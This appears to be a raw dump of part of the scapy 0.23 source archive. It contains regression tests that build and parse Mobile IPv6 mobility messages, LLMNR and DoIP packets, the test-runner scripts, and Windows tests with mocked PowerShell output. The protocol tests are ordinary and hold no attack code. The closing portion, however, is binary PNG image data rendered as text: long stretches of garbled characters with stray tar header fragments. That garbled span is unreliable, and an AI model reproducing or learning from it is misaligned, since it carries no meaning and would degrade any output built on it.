bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j + Binding Refresh Request Message = MIP6MH_BRR - Build (default values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR()) == b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00' = MIP6MH_BRR - Build with specific values bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR(nh=0xff, res=0xee, res2=0xaaaa, options=[MIP6OptLLAddr(), MIP6OptAltCoA()])) == b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_BRR - Basic dissection a=IPv6(b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 59 and b.len == 0 and b.mhtype == 0 and b.res == 0 and b.cksum == 0x68fb and b.res2 == 0 and b.options == [] = MIP6MH_BRR - Dissection with specific values a=IPv6(b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 0xff and b.len == 4 and b.mhtype == 0 and b.res == 238 and b.cksum == 0xec24 and b.res2 == 43690 and len(b.options) == 3 and isinstance(b.options[0], MIP6OptLLAddr) and isinstance(b.options[1], PadN) and isinstance(b.options[2], MIP6OptAltCoA) = MIP6MH_BRR / MIP6MH_BU / MIP6MH_BA hashret() and answers() hoa="2001:db8:9999::1" coa="2001:db8:7777::1" cn="2001:db8:8888::1" ha="2001db8:6666::1" a=IPv6(bytes(IPv6(src=cn, dst=hoa)/MIP6MH_BRR())) b=IPv6(bytes(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=0x01))) b2=IPv6(bytes(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=~0x01))) c=IPv6(bytes(IPv6(src=cn, dst=coa)/IPv6ExtHdrRouting(type=2, addresses=[hoa])/MIP6MH_BA())) b.answers(a) and not a.answers(b) and c.answers(b) and not b.answers(c) and not c.answers(b2) + Home Test Init Message = MIP6MH_HoTI - Build (default values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoTI - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 1 and b.res == 0 and b.cksum == 0x67f2 and b.cookie == b'\x00'*8 = MIP6MH_HoTI - Build (specific values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_HoTI - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8 + Care-of Test Init Message = MIP6MH_CoTI - Build (default values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoTI - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 1 and b.res == 0 and b.cksum == 0x66f2 and b.cookie == b'\x00'*8 = MIP6MH_CoTI - Build (specific values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_CoTI - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8 + Home Test Message = MIP6MH_HoT - Build (default values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoT - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0 and b.cksum == 0x65e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8 = MIP6MH_HoT - Build (specific values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_HoT - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8 + Care-of Test Message = MIP6MH_CoT - Build (default values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoT - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0 and b.cksum == 0x64e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8 = MIP6MH_CoT - Build (specific values) bytes(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_CoT - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8 + Binding Update Message = MIP6MH_BU - build (default values) s= b'`\x00\x00\x00\x00(<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x01\x05\x00\xee`\x00\x00\xd0\x00\x00\x03\x01\x02\x00\x00' bytes(IPv6()/IPv6ExtHdrDestOpt(options=[HAO()])/MIP6MH_BU()) == s = MIP6MH_BU - dissection (default values) p = IPv6(s) p[MIP6MH_BU].len == 1 = MIP6MH_BU - build s = b'`\x00\x00\x00\x00P<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe;\x06\x05\x00\xea\xf2\x00\x00\xd0\x00\x00*\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' bytes(IPv6()/IPv6ExtHdrDestOpt(options=[HAO(hoa='2001:db8::cafe')])/MIP6MH_BU(mhtime=42, options=[MIP6OptAltCoA(),MIP6OptMobNetPrefix()])) == s = MIP6MH_BU - dissection p = IPv6(s) p[MIP6MH_BU].cksum == 0xeaf2 and p[MIP6MH_BU].len == 6 and len(p[MIP6MH_BU].options) == 4 and p[MIP6MH_BU].mhtime == 42 + Binding ACK Message = MIP6MH_BA - build s = b'`\x00\x00\x00\x00\x10\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x01\x06\x00\xbc\xb9\x00\x80\x00\x00\x00*\x01\x02\x00\x00' bytes(IPv6()/MIP6MH_BA(mhtime=42)) == s = MIP6MH_BA - dissection p = IPv6(s) p[MIP6MH_BA].cksum == 0xbcb9 and p[MIP6MH_BA].len == 1 and len(p[MIP6MH_BA].options) == 1 and p[MIP6MH_BA].mhtime == 42 + Binding ERR Message = MIP6MH_BE - build s = b'`\x00\x00\x00\x00\x18\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x02\x07\x00\xbbY\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' bytes(IPv6()/MIP6MH_BE(status=2, ha='1::2')) == s = MIP6MH_BE - dissection p = IPv6(s) p[MIP6MH_BE].cksum=0xba10 and p[MIP6MH_BE].len == 1 and len(p[MIP6MH_BE].options) == 1 ##################################################################### + LLMNR = LLMNR - basic decoding (LLC/SNAP encap) s = b'\xaa\xaa\x03\x00\x00\x00\x08\x00E\x00\x002=\xc2\x00\x00\x01\x11\xd8\x99\xc0\xa8\x01\xbb\xe0\x00\x00\xfc\xe5%\x14\xeb\x00\x1e\x05d\x84\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x04wpad\x00\x00\x01\x00\x01\xd0x\xa4\xd4' p = LLC(s) ########### DoIP Class ############################################ + Test Diagnostics over IP contribution layer = DoIP - Basic Instantiation from scapy.contrib.doip import * bytes(DoIP()) == b'\x02\xfd\x00\x00\x00\x00\x00\x00' = DoIP - Basic Dissection pkt=DoIP(b'\x02\xfd\x00\x00\x00\x00\x00\x00') pkt.protocol_version + pkt.inverse_version == 255 pkt.protocol_version == 2 pkt.payload_type == 0 pkt.payload_length == 0 pkt.payload_content == b'' scapy-0.23/test/run_tests000077500000000000000000000005431320561231000155030ustar00rootroot00000000000000#! /usr/bin/env bash # # This scripts runs the regression tests # based on UTscapy. # DIR=$(dirname $0)/.. if [ "$*" == "" ] then PYTHONPATH=$DIR exec python3 ${DIR}/scapy/tools/UTscapy.py -t regression.uts -f html -o /tmp/scapy_regression_test_$(date +%Y%M%d-%H%H%S).html else PYTHONPATH=$DIR exec python3 ${DIR}/scapy/tools/UTscapy.py "$@" fi scapy-0.23/test/run_tests.bat000066400000000000000000000003761320561231000162510ustar00rootroot00000000000000@echo off set MYDIR=%cd%\.. set PYTHONPATH=%MYDIR% if [%1]==[] ( python %MYDIR%\scapy\tools\UTscapy.py -t regression.uts -f html -o scapy_regression_test_%DATE%.html ) else ( python %MYDIR%\scapy\tools\UTscapy.py %1 %2 %3 %4 %5 %6 %7 %8 %9 ) scapy-0.23/test/windows.uts000066400000000000000000000056441320561231000157650ustar00rootroot00000000000000+ Windows specific tests of windows/__init__.py stuff = Check route generation via default route assert(conf.route.route("8.8.8.8")[0], conf.iface) = Importing interfaces (get_windows_if_list) class Popen: def __init__(self, *args, **kwargs): self.powershell_output = """ Name : Realtek PCIe GBE Family Controller InterfaceIndex : 11 InterfaceDescription : Realtek PCIe GBE Family Controller InterfaceGuid : {7703BFF2-5842-44F7-8BAD-268D755F55B3} MacAddress : 54-04-A6-69-26-F4 Name : Bluetooth-Geraet (PAN) InterfaceIndex : 15 InterfaceDescription : Bluetooth-Geraet (PAN) InterfaceGuid : {11817093-3540-417B-AC79-F3607122BAAF} MacAddress : 00-26-83-30-D6-92 Name : VirtualBox Host-Only Ethernet Adapter blub InterfaceIndex : 16 InterfaceDescription : VirtualBox Host-Only Ethernet Adapter blub InterfaceGuid : {7E865158-F01F-4F94-A20C-F8E4609F159A} MacAddress : 0A-00-27-00-00-10 """ def communicate(self, *args, **kwargs): return self.powershell_output, "" from scapy.all import * scapy.arch.windows.sp.Popen = Popen iface_list = get_windows_if_list() for iface in iface_list: assert(iface["name"] == iface["description"]) = Mac address delimitors replaced? for iface in iface_list: assert(iface["mac"].find("-") == -1) = Check read_routes class Popen: def __init__(self, *args, **kwargs): self.powershell_output = """ InterfaceIndex Destination Mask NextHop Metric1 -------------- ----------- ---- ------- ------- 11 0.0.0.0 0.0.0.0 192.168.192.1 10 1 127.0.0.0 255.0.0.0 0.0.0.0 306 1 127.0.0.1 255.255.255.255 0.0.0.0 306 1 127.255.255.255 255.255.255.255 0.0.0.0 306 16 192.168.56.0 255.255.255.0 0.0.0.0 266 16 192.168.56.1 255.255.255.255 0.0.0.0 266 16 192.168.56.255 255.255.255.255 0.0.0.0 266 11 192.168.192.0 255.255.255.0 0.0.0.0 266 11 192.168.192.86 255.255.255.255 0.0.0.0 266 11 192.168.192.255 255.255.255.255 0.0.0.0 266 1 224.0.0.0 240.0.0.0 0.0.0.0 306 11 224.0.0.0 240.0.0.0 0.0.0.0 266 16 224.0.0.0 240.0.0.0 0.0.0.0 266 1 255.255.255.255 255.255.255.255 0.0.0.0 306 11 255.255.255.255 255.255.255.255 0.0.0.0 266 16 255.255.255.255 255.255.255.255 0.0.0.0 266 15 192.168.97.0 255.255.255.0 192.168.56.13 266 """ def communicate(self, *args, **kwargs): return self.powershell_output, "" scapy.arch.windows.sp.Popen = Popen #assert(len(read_routes()) == 12) assert(True)

? T=r.ba5])g2A$@f')_#e$@$@$@!@YcHHHevlHHl@~ܗFA蒲Fqe'OD(l䳯q4$@$\ʵ*QXt"Ig8|;ƍ0tHH@)(k&h">>>_"K$@$@%@YwgˍH^IHHWjG⤉\\#~D H\Ԧ)-Zks薈An O֤40 5٘jfά)3-D`O?_qp Nōq+N5Ȇǎ{ `$@$@#`>Y1hdI*-Z&~ˍ-[DZ8gDDD@t"Eudho߾4HH*k,a T$7K:K IEF {{@¡?Z8[n͒%a$@$@LƑ߾Ǯ-q[TǏc&~H{zzMVU㠱$@!@YW:C%K:i `QJ*)SD1OÇ#)ߌݱ)  X@L'O#r)@֬Yi,B S@$`r;cWZ5FIH?$@#PjUq[ lz-'W+W- U}k"C>x+sYvBO7Ye#$(Q_2o ɐ c>fY1)ÄD`m7{ uVzu9 UeMH0|} lH@^vZ:(G5V9&Pĉ;;;ӱFI}QrKh:(c5vr94PDEEUHx4움U7JHVZѱ "Ҍ-);" ^$,YYHL%-keDRSk]dr1a0cO>7j0ցlx%J8И9TPhY5uu/^RݴԌJsݺ5kM6߼z5|~SlvO}e3"eS$`F@7clHHH@  5PX2   +@f$@$@$@ @Yc HHH (k] Xe5(   +dvA$@$@$` 5֠>HHH@@L(y h)>6qA"#1#  0U֬橫|!8Eܝ`ğM'  OL5(b& X@ "·mCe ~tjkgiZuQΜ9 ,]Z3p]&Mp!`6YJ~V9csK"B+֙dx԰aB}ŠKy)3] bJ@@i.\h-Z˖-֭2'+0 MP1˭`40@ڙEUXR!R&߷o*Ub͐N&44T4b,@#@Yc9lHA QD4'Nx͕+W  @qY  zy߿8 X}k,ǖ- $ID)EU>]۷#G>Iܹs's[Cib|J#˱e$@$`q3f̘0aBn-9 ɛ7/& Y ~)VS(e$@$`Y~~~g޳g=]P/cIDATv 1۵k'|Nno޽9tj֬iE U^>&\=Ӑ5QQS1$@$@ Æ CF!_ʔ)dӿ!C=/^'N,?ڶm[ݺu[ ?|Pb¼Be͚Uo $0U֔BsPh! Q3 X@6m0ND< 9ԭylSժU1-6r OIV#`AHH P*` !]e̙-[42 sH[c lHΙ.'xN=zG$kl5i/ P1K1I5֤;HHH,HƂp4 5 PX6"    e$@$@$@$@YcMHHH(k,M X6x#ӷ/Кֳ8   (S9s9sF9MKoܪI@&k qNG7+zi\  zq.hT J &!`6Y"?} lK!޶6w P֨}Z   (k    uQ$@$@$@ PD$@$@$@"@YEkIHH 1HHHEF]֒ $@Yc  @t8а[BѲF# oV5-J$@$@$`e8|D$@$@$&5jz[HHH#pHHH@M(kh+ 5F P֨mV   #(k#   5Qۢ$@$@$@FPG$@$@$@j"@YE[IHH1HHHDFMo !@Yc em%  0B wYfСv~ъ+*g2aF3fH}g67}t/w>mZ,y'[DY e*[P*KB5ca^1a,ʾ}IŌEk=s~8S\\u93\Oʇ;#8.^hG٧O~xݺu իWW^oB B+ ,o߾k3~:tw~WdrMGpG@xrʚ5/r)Gp8[2GpGӚ uGplڴk׮-3fj.[l.]>m۷ZjJ,Y^9s[oSܿ)4Y&2cƌy .\hZj\pAfO? G=СCC7|LI;ӸqTRmڴY~ݕ0dF!wڵl+TG}tԨQgΜ&PK/.]Y>3D0aSG{Zl9wQq0רӧhW*TԩSZU6?/K! QmVϞ=p|x< U`>ˎ#8*73bVIɰi"ªU0dGꫯ<[o[Y ԭoY;v42eʠܵk"SLӧe]b)3E M֭mIk˜93[{O?- tbŊF A(V`uK0KгApB+Zi9goٲE"KYZ5Zl&M%q ηnݪ=ʕCI,Gʓ'OBY@̛7DVԁ,a6IF2{0%!ltS"ʝ;7 HR II,a6lg+dQ0E"Z!ICiqgy&4axsiC'|$>ˎ#8@[[ć*'r sܹ/<zR6T(s H69d,[:Ox "Yf k7d?&/_>4B&dW17!Ӑ _1%hU!A_ZYB(jBݺuІjX/pFs҈0)F: *Y9~׼ߙ3gz3Yo ˔< hgcGp\HntŻԙ*bV\" (VBށ̋ ŋ ;vXRTY~sBhȼS>yDKGpT(`' y21uhp k\D,KhV_~I i<<A4FkӐ')#{ TEK{ock!ƐX8Ø=.J2njs'mZl*b^f 2e˩QnOUã7kKޕ#8@ RABos7Y)a8v9!&i8~dCnutK(J8KyH-١;Dek#X>{RJ*ͭ-TA /5`m̡"<ܦg b>y ~ U2%z}۷o7 #8@2b-c@bРA"ffCt &HІM}.UG^DM48|9{K`TO98lTʺ͹z*ã%JdsBZJ?˔bH$ML#aÆxn֬zYCQ!ˏc4e[=LѬdw Ԯ],eLI{aq:gP f쌢~%)c>;j& pER2l [8#D*RU#DIp 0x0`@"&^4jH"B,r`q |~EժjrF"8Vx"b3ٱډ_ox[PU?'J>uGpBҤ5 52|1#8ENpGp &=XGpG@8@/×8#8Akk҃[QKZ"|VGpG !&_#8#\*|#8#d<dw+rGpBB?jߥIENDB`scapy-0.23/doc/scapy/graphics/scapy-win-screenshot1.png000066400000000000000000000403131320561231000231070ustar00rootroot00000000000000PNG  IHDR\w$S IDATxy|fsp%\)Z h*R"Ĉh=UW^ymxf~繾㩩*'H,3(;7/gY4u"Jfnӓ%G]<VҎw'*&ͥzhhp$z+MuVyRmFLw+} iRkaZ1x4 /* `N 竷{3?IW0S3ejo?_! wJwkwJ:e_ s@ꟓu_ֹ4~fz6>㵃F |ۨ,o֎)ț.oƚeyߟN2vz{{q +-N z1oZ"}C֐^eb5> 2{uAI={u>{Ue3Wf qm$>)ם ߧօutI=Mm> u z\c؏uh%WID4~X(i9&z|jn&@OwI9KJNޝs֬ԧK2hu\ao-meF~of^͎kK+k/6l[v7ш)^5r`ͼ2ԧsrɽ:&s*QώIA~wCGfeL[[I 镒A~_3᱙7NDcc}L";$w}lct.Oܬck++?T|x$oH"OT.jvM4 6jP*o\¢:~WEu'76rWB߄32hԠZP|_Ϻ'|#DE钜驮HhX+AOv~ђ%JԧKr,f<6Ɲ.KD;7A(XC՗;LjhmikϿyDƣ QN |A@C4 DϿwXXR\.FO!3:sDTVM%M6/yהe޵'ͻGfp 2 pieoj v;V"?Jn:;)D@ӺǗjDtŋ5cƎRq憏77L>?SzuѲM3|y(XWZ"6mΚzI#ߝwKsNL!j6YShDtͫG.z$"nO'[?xȴܳ>)iۿg_48%73tpMW6SNLD6Je渴kOX/U㒖O>2siW263w)gd&Q!/M]O8;z㓉zʯ^}9GMei󫛎 V7\949}}EBߚ28/L Я磉iDTK5o=$WK,/75So\rf>hΓ;_"忾r_bab_XT mT}-&^6=Gߟܞ.m:񷌐GGԻUV5R5dmUG]wD voš6 GGQśNQ/|3]oVoID/IND9s2Ygi*u"ݣ$)*ܾ{3!35e_K(?!xn;ṳ. pbJE/_N55'I!I%j'\ѽ3w||ܯZ{c}6{t9I3U~]=D[& mymh)DTS,tW Cu!"LW !%Zivs߼A.}yټo%77ъ+ƌ3f̘+VŐo]C_~>]~T\X6$+Nِ:V_XT˖?E~^"oP3Ϲ8p0XR\,ͯTWi?q鴜jji.S/P?C&R,"kį%DU+w{-T~h}j:qOyd|/Uw|w|ϯu]F_:4t/}pQv5*7ZR.W/'FWѱӪO>cf% &{k{-ynv__9篛{_~|b_=UCK^9<*&>㛾_?xc,_N7O<+~~gVl j̟cϮq_^0vډ+E~:LDG-ayfPkx"O~~ 3!1.?-w/)gK~ܩKͿۆZ9}|CAMl> Vȯ~9Z#Y 'KʻL-w%ف K,AϥO7~]7_<Ww_> CzL6#N;I>NP(1w'Ń |({I)=EuNuB߃YM}_x|-r{_(Ǖ=U o~Vlm~Cf&m~-`Ck'1&POri?WI7-vU|3??z[E/|=qÂo-T6MrrڶG3޺Q.hq'm|PST~y[ϔ YlB~aC"zP/8DyC,*A% 1oGZ)P_r%٪ʳt"ʹv00^1SWgyLeۼi&v9sXh,}c_qDc:ɯ6ۗ 9Z_7#m]7ekKv7nbxc[UD~A.ODdTIyrl6Ύx+Sv>vmw>vSmK.*>n-4J6?>Y?>Y,ͶV70ߧ?fӦ,D1O6 K&}?}^` < [mk! #"~^":DONnnGABR钷ƪŞx['輓O&IrXo=U& ,߹jrk`xo 'M/ʑZ#5ͻo'ro3HhgUyPL앵7Αi*vmjɏ-vo+e6%Ov{qє *̌%T^y)vfzE8/Us.:MNt"a^Rțs$:k}:bs='EC!_y'zJzw+kK÷.LB%~f'_L0 bOTV}{Y7[M.7νv Zݝةǧaom]XT+l6fG<-mX}ݨAfSpo{/jq3kQpqq=$4ȯp˹-wT/.{]PueIM-=bߥ{{N6IoO|lc= e}whb\M-X{|oԷ'ek֤ft@ˊs5Rƨңg-YDT}+4Oc^a=_|rW%]ͬ?x2ׄnIgڻGkûvlKD=|CD|  <󲴇ɟlGr̼c'<0W7>NL}e뉨·N*ک/oj&mjK>=ZJ9:UCThf^M_VYNW7=3^߅4(σhc9C{뎜^)?ӑWm}䌲=-r2h鴜˄f+ =/(Ո~ 9+eX!Iźx 91n8+ƚs."n`r[ }6G{ŮJ`s>j^=5e:3ך9px9}ҷ;NJD 뫿;t"vGC1튃>'֞WFDEI?/ 럗֏FDv6(<2Wd7v -Us}=Xr%)۔/%CRyҌ}S5[OmxT^gwO{pVS~H3ӈ(MkLX~OM z6/73g2O>{50fԳw} tyoߛku 